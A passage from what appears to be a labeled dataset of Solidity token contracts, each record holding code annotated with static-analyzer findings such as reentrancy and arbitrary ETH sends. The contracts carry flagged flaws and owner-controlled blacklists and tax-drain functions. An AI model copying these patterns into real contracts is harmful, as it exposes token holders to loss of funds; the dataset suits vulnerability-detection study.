block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d2c28aa\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 2d38e9f\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: d2c28aa\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d2c28aa\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 2d38e9f\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 516a3d1\n\t\t// reentrancy-events | ID: 2d38e9f\n\t\t// reentrancy-benign | ID: 8b96a5b\n\t\t// reentrancy-eth | ID: d2c28aa\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 65c24f0): SHRUB.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 65c24f0: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 516a3d1\n\t\t// reentrancy-events | ID: 2d38e9f\n\t\t// reentrancy-eth | ID: d2c28aa\n\t\t// arbitrary-send-eth | ID: 65c24f0\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: eba791c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for eba791c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 25672c6): SHRUB.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 25672c6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 854f0a8): SHRUB.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 854f0a8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d6fbf1f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d6fbf1f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: eba791c\n\t\t// reentrancy-eth | ID: d6fbf1f\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: eba791c\n\t\t// unused-return | ID: 25672c6\n\t\t// reentrancy-eth | ID: d6fbf1f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: eba791c\n\t\t// unused-return | ID: 854f0a8\n\t\t// reentrancy-eth | ID: d6fbf1f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: eba791c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d6fbf1f\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10173.sol",
"size_bytes": 19484,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Contract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2b9dbf5): Contract._taxWallet should be immutable \n\t// Recommendation for 2b9dbf5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Dogenes\";\n\n string private constant _symbol = unicode\"Dogenes\";\n\n\t// WARNING Optimization Issue (constable-states | ID: c75e3c5): Contract._initialBuyTax should be constant \n\t// Recommendation for c75e3c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b29199a): Contract._initialSellTax should be constant \n\t// Recommendation for b29199a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33e2a78): Contract._finalBuyTax should be constant \n\t// Recommendation for 33e2a78: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 46ccd33): Contract._finalSellTax should be constant \n\t// Recommendation for 46ccd33: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b180ac0): Contract._reduceBuyTaxAt should be constant \n\t// Recommendation for b180ac0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c977fc): Contract._reduceSellTaxAt should be constant \n\t// Recommendation for 5c977fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: e521553): Contract._preventSwapBefore should be constant \n\t// Recommendation for e521553: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49eee87): Contract._taxSwapThreshold should be constant \n\t// Recommendation for 49eee87: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal / 50;\n\n\t// WARNING Optimization Issue (constable-states | ID: e937989): Contract._maxTaxSwap should be constant \n\t// Recommendation for e937989: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal / 50;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private takeTax = true;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(address(owner()));\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 013f8e1): Contract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 013f8e1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0be54eb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0be54eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c9a8015): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c9a8015: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0be54eb\n\t\t// reentrancy-benign | ID: c9a8015\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0be54eb\n\t\t// reentrancy-benign | ID: c9a8015\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96c28bf): Contract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96c28bf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c9a8015\n\t\t// reentrancy-benign | ID: e8c553e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0be54eb\n\t\t// reentrancy-events | ID: e966e4b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ce151b6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ce151b6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 90d199c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 90d199c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (takeTax) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: ce151b6\n\t\t\t\t// reentrancy-eth | ID: 90d199c\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ce151b6\n\t\t\t\t\t// reentrancy-eth | ID: 90d199c\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 90d199c\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 90d199c\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 90d199c\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ce151b6\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 90d199c\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 90d199c\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ce151b6\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0be54eb\n\t\t// reentrancy-events | ID: ce151b6\n\t\t// reentrancy-events | ID: e966e4b\n\t\t// reentrancy-benign | ID: c9a8015\n\t\t// reentrancy-benign | ID: e8c553e\n\t\t// reentrancy-eth | ID: c0d896c\n\t\t// reentrancy-eth | ID: 9836bb6\n\t\t// reentrancy-eth | ID: c14ec74\n\t\t// reentrancy-eth | ID: 90d199c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 7e35f9a): Contract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 7e35f9a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0be54eb\n\t\t// reentrancy-events | ID: ce151b6\n\t\t// reentrancy-events | ID: e966e4b\n\t\t// reentrancy-eth | ID: c0d896c\n\t\t// reentrancy-eth | ID: 9836bb6\n\t\t// reentrancy-eth | ID: c14ec74\n\t\t// reentrancy-eth | ID: 90d199c\n\t\t// arbitrary-send-eth | ID: 7e35f9a\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e966e4b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e966e4b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e8c553e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e8c553e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b677d51): Contract.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b677d51: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 533268e): Contract.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)).mul(100 15).div(100),0,0,owner(),block.timestamp)\n\t// Recommendation for 533268e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c0d896c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c0d896c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9836bb6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9836bb6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c14ec74): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c14ec74: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n if (block.chainid == 56) {\n routerAddress = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n } else if (block.chainid == 97) {\n routerAddress = 0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3;\n } else if (\n block.chainid == 1 ||\n block.chainid == 4 ||\n block.chainid == 3 ||\n block.chainid == 5 ||\n block.chainid == 31337\n ) {\n routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n } else if (block.chainid == 11155111) {\n routerAddress = 0xC532a74256D3Db42D0Bf7a0400fEFDbad7694008;\n } else {\n revert();\n }\n\n uniswapV2Router = IUniswapV2Router02(routerAddress);\n\n takeTax = false;\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: e966e4b\n\t\t// reentrancy-benign | ID: e8c553e\n\t\t// reentrancy-eth | ID: c0d896c\n\t\t// reentrancy-eth | ID: 9836bb6\n\t\t// reentrancy-eth | ID: c14ec74\n transfer(address(this), balanceOf(msg.sender));\n\n\t\t// reentrancy-events | ID: e966e4b\n\t\t// reentrancy-benign | ID: e8c553e\n\t\t// reentrancy-eth | ID: c0d896c\n\t\t// reentrancy-eth | ID: 9836bb6\n\t\t// reentrancy-eth | ID: c14ec74\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: e966e4b\n\t\t// reentrancy-benign | ID: e8c553e\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 533268e\n\t\t// reentrancy-eth | ID: c0d896c\n\t\t// reentrancy-eth | ID: c14ec74\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)).mul(100 - 15).div(100),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-eth | ID: c14ec74\n takeTax = true;\n\n\t\t// unused-return | ID: b677d51\n\t\t// reentrancy-eth | ID: c0d896c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: c0d896c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c0d896c\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10174.sol",
"size_bytes": 22811,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract USA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 76971fa): USA._taxWallet should be immutable \n\t// Recommendation for 76971fa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: d64ff86): USA._initialBuyTax should be constant \n\t// Recommendation for d64ff86: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7368b4c): USA._initialSellTax should be constant \n\t// Recommendation for 7368b4c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 53cdf77): USA._reduceBuyTaxAt should be constant \n\t// Recommendation for 53cdf77: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 10127a9): USA._reduceSellTaxAt should be constant \n\t// Recommendation for 10127a9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: bd038f7): USA._preventSwapBefore should be constant \n\t// Recommendation for bd038f7: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"USA\";\n\n string private constant _symbol = unicode\"USA\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: aec9065): USA._taxSwapThreshold should be constant \n\t// Recommendation for aec9065: Add the 'constant' 